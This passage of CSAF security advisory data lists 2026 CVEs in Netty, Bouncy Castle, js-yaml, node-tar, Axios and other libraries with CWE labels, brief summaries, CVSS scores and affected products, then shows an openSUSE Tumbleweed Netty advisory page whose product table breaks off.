"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-55831"
},
{
"cve": "CVE-2026-55833",
"cwe": {
"id": "CWE-409",
"name": "Improper Handling of Highly Compressed Data (Data Amplification)"
},
"notes": [
{
"category": "other",
"text": "Improper Handling of Highly Compressed Data (Data Amplification)",
"title": "CWE-409"
},
{
"category": "description",
"text": "Netty versions prior to 4.1.136.Final and 4.2.16.Final contain a vulnerability in SPDY header decoding where compressed headers inflate beyond maxHeaderSize, enabling denial of service via excessive CPU and memory consumption.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-55833 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-55833.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-55833"
},
{
"cve": "CVE-2026-56745",
"cwe": {
"id": "CWE-772",
"name": "Missing Release of Resource after Effective Lifetime"
},
"notes": [
{
"category": "other",
"text": "Missing Release of Resource after Effective Lifetime",
"title": "CWE-772"
},
{
"category": "description",
"text": "Netty versions 4.2.0.Final to 4.2.15.Final and 4.1.0.Final to 4.1.135.Final contain a memory leak in the SpdyHttpDecoder handler due to unreleased pooled ByteBufs when streams reset or content limits are exceeded, leading to potential native memory exhaustion and denial of service.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-56745 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-56745.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-56745"
},
{
"cve": "CVE-2026-56819",
"cwe": {
"id": "CWE-401",
"name": "Missing Release of Memory after Effective Lifetime"
},
"notes": [
{
"category": "other",
"text": "Missing Release of Memory after Effective Lifetime",
"title": "CWE-401"
},
{
"category": "other",
"text": "Improper Update of Reference Count",
"title": "CWE-911"
},
{
"category": "description",
"text": "Netty versions 4.1.0.Final to 4.1.135.Final and 4.2.0.Final to 4.2.15.Final contain a vulnerability where unauthenticated remote attackers can cause memory leaks and JVM crashes via crafted HTTP/2 DATA frames when HTTP/2 content decompression is enabled.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-56819 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-56819.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-56819"
},
{
"cve": "CVE-2026-58059",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a quadratic-time escaping vulnerability when processing X.500 distinguished names during stringification.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-58059 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-58059.json"
}
],
"title": "CVE-2026-58059"
},
{
"cve": "CVE-2026-58060",
"cwe": {
"id": "CWE-789",
"name": "Memory Allocation with Excessive Size Value"
},
"notes": [
{
"category": "other",
"text": "Memory Allocation with Excessive Size Value",
"title": "CWE-789"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where the HSS public-key level count is unbounded, potentially leading to excessive memory allocation during verification.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-58060 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-58060.json"
}
],
"title": "CVE-2026-58060"
},
{
"cve": "CVE-2026-59639",
"cwe": {
"id": "CWE-347",
"name": "Improper Verification of Cryptographic Signature"
},
"notes": [
{
"category": "other",
"text": "Improper Verification of Cryptographic Signature",
"title": "CWE-347"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where the CMS verifySignatures method erroneously returns true for SignedData objects with zero signers.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59639 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59639.json"
}
],
"title": "CVE-2026-59639"
},
{
"cve": "CVE-2026-59642",
"cwe": {
"id": "CWE-354",
"name": "Improper Validation of Integrity Check Value"
},
"notes": [
{
"category": "other",
"text": "Improper Validation of Integrity Check Value",
"title": "CWE-354"
},
{
"category": "description",
"text": "Bouncy Castle for Java versions prior to 1.85, including certain LTS and FIPS releases, contains a vulnerability where CMS AuthenticatedData content is not correctly bound to the MAC when authAttrs are present, potentially compromising data integrity.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/U:Amber",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59642 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59642.json"
}
],
"title": "CVE-2026-59642"
},
{
"cve": "CVE-2026-59869",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "other",
"text": "Unchecked Input for Loop Condition",
"title": "CWE-606"
},
{
"category": "description",
"text": "js-yaml versions 3.0.0 to before 3.15.0 and 4.0.0 to before 4.3.0 suffer from a quadratic CPU time performance issue triggered by YAML documents with chained merge keys, leading to potential Denial of Service.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59869 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59869.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-59869"
},
{
"cve": "CVE-2026-59871",
"cwe": {
"id": "CWE-704",
"name": "Incorrect Type Conversion or Cast"
},
"notes": [
{
"category": "other",
"text": "Incorrect Type Conversion or Cast",
"title": "CWE-704"
},
{
"category": "other",
"text": "Access of Resource Using Incompatible Type (\u0027Type Confusion\u0027)",
"title": "CWE-843"
},
{
"category": "description",
"text": "node-tar versions prior to 7.5.18 contain a vulnerability where all-digit PAX path and linkpath values are incorrectly converted to numbers, causing uncaught TypeErrors and denial of service during archive extraction.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59871 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59871.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-59871"
},
{
"cve": "CVE-2026-59873",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "node-tar versions prior to 7.5.19 contain a vulnerability where lack of limits on decompressed data and entry counts allows a crafted gzip bomb to exhaust disk space and CPU, causing a Denial of Service.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59873 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59873.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-59873"
},
{
"cve": "CVE-2026-59874",
"cwe": {
"id": "CWE-835",
"name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
},
"notes": [
{
"category": "other",
"text": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"title": "CWE-835"
},
{
"category": "other",
"text": "Unchecked Input for Loop Condition",
"title": "CWE-606"
},
{
"category": "description",
"text": "Node-tar versions prior to 7.5.18 contain a denial of service vulnerability where a checksum-valid tar archive with a negative base-256 encoded entry size causes an infinite loop during archive scanning.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59874 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59874.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-59874"
},
{
"cve": "CVE-2026-59887",
"cwe": {
"id": "CWE-407",
"name": "Inefficient Algorithmic Complexity"
},
"notes": [
{
"category": "other",
"text": "Inefficient Algorithmic Complexity",
"title": "CWE-407"
},
{
"category": "description",
"text": "linkify-it versions prior to 5.0.2 contain a mailto: schema validator with a quadratic time complexity vulnerability causing high CPU usage and event loop blocking on crafted inputs, fixed in version 5.0.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59887 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59887.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-59887"
},
{
"cve": "CVE-2026-59901",
"cwe": {
"id": "CWE-835",
"name": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)"
},
"notes": [
{
"category": "other",
"text": "Loop with Unreachable Exit Condition (\u0027Infinite Loop\u0027)",
"title": "CWE-835"
},
{
"category": "description",
"text": "Netty\u0027s Bzip2Decoder handler contains a logic flaw in its run-length encoding state machine that can be exploited by malformed compressed data to cause an infinite loop, resulting in denial-of-service and high CPU usage.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-59901 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-59901.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-59901"
},
{
"cve": "CVE-2026-67320",
"cwe": {
"id": "CWE-1321",
"name": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)"
},
"notes": [
{
"category": "other",
"text": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)",
"title": "CWE-1321"
},
{
"category": "other",
"text": "Improperly Controlled Modification of Dynamically-Determined Object Attributes",
"title": "CWE-915"
},
{
"category": "description",
"text": "Axios\u0027s Node.js HTTP adapter is vulnerable to prototype pollution via request interceptors that revert hardened configurations, enabling attackers to route HTTP requests through malicious proxies and expose sensitive data, fixed in versions 0.33.0 and 1.18.0.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-67320 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-67320.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-67320"
},
{
"cve": "CVE-2026-69152",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"notes": [
{
"category": "other",
"text": "Allocation of Resources Without Limits or Throttling",
"title": "CWE-770"
},
{
"category": "description",
"text": "The brace-expansion library\u0027s incomplete maxLength enforcement on intermediate arrays and padded sequences in versions prior to 1.1.18, 2.1.4, 3.0.6, and 5.0.9 allows denial of service via memory exhaustion or event loop blocking.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-69152 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-69152.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-69152"
},
{
"cve": "CVE-2026-69192",
"cwe": {
"id": "CWE-918",
"name": "Server-Side Request Forgery (SSRF)"
},
"notes": [
{
"category": "other",
"text": "Server-Side Request Forgery (SSRF)",
"title": "CWE-918"
},
{
"category": "other",
"text": "Incorrect Parsing of Numbers with Different Radices",
"title": "CWE-1389"
},
{
"category": "description",
"text": "The ip-address JavaScript library\u0027s Address4 component incorrectly parses IPv4 octets with leading zeros as decimal instead of octal, enabling SSRF bypasses and misclassification of internal addresses, fixed in version 10.3.1.",
"title": "Summary"
},
{
"category": "general",
"text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N",
"title": "CVSSV4"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-69192 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-69192.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13"
]
}
],
"title": "CVE-2026-69192"
}
]
}
OPENSUSE-SU-2026:10795-1
Vulnerability from csaf_opensuse - Published: 2026-05-16 00:00 - Updated: 2026-05-16 00:00Summary
netty-4.1.133-1.1 on GA media
Severity
Moderate
Notes
Title of the patch: netty-4.1.133-1.1 on GA media
Description of the patch: These are all security issues fixed in the netty-4.1.133-1.1 package on the GA media of openSUSE Tumbleweed.
Patchnames: openSUSE-Tumbleweed-2026-10795
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
6.5 (Medium)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
Threats
Impact
moderate
7.5 (High)
Affected products
Recommended
16 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-bom-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-javadoc-4.1.133-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:netty-parent-4.1.133-1.1.ppc64le | — |
Vendor Fix
|
|
